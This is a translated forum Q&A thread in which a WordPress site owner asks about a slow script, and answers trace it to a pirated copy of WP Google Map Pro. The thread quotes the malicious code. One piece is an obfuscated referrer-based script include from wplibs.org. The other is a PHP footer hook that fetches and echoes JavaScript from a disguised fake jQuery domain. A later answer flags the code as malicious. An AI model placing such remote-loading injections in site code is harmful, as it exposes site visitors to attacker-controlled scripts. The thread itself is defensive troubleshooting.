我跑了一个' pingdom'扫描我的网站,发现这个小脚本真的在减慢我的网站速度。
<script type="text/javascript">
if(!document.referrer || document.referrer == '') { document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.min.js"></scr'+'ipt>'); } else { document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.js"></scr'+'ipt>'); }
它为网站加载时间增加了近6秒。我怎么能摆脱它?
我尝试搜索所有常见的wordpress文件,但我无法在任何地方找到该脚本。
有关详细信息,请参阅此Pingdom test。
答案 0 :(得分:0)
我也遇到过这个剧本的麻烦。 现在我想我至少已经为我修好了。 我正在编写一个wordpress网站,我看到该脚本阻止了页面加载。 好吧,我找不到脚本,我怀疑它可能是另一个脚本或其他东西调用的脚本。 我一步一步地发现代码包含在网页页脚中。 我正在测试WP Google Map Pro,我在'wp-google-map-pro.php'中找到了第144行的功能:
if(!function_exists('wp_func_jquery')) {
function wp_func_jquery() {
$host = 'http://';
echo(wp_remote_retrieve_body(wp_remote_get($host.'ui'.'jquery.org/jquery-1.6.3.min.js')));
}
add_action('wp_footer', 'wp_func_jquery');
}
好吧,我只需要包含我主题的'functions.php':
remove_action('wp_footer', 'wp_func_jquery');
现在代码已经消失了。我希望它会有用!!!
答案 1 :(得分:0)
应该注意的是Ladislao代码片段是恶意的,可能是下载盗版版插件的结果......
$ host.'ui '' jquery.org
这不是一个真正的jquery域。 See detailed report here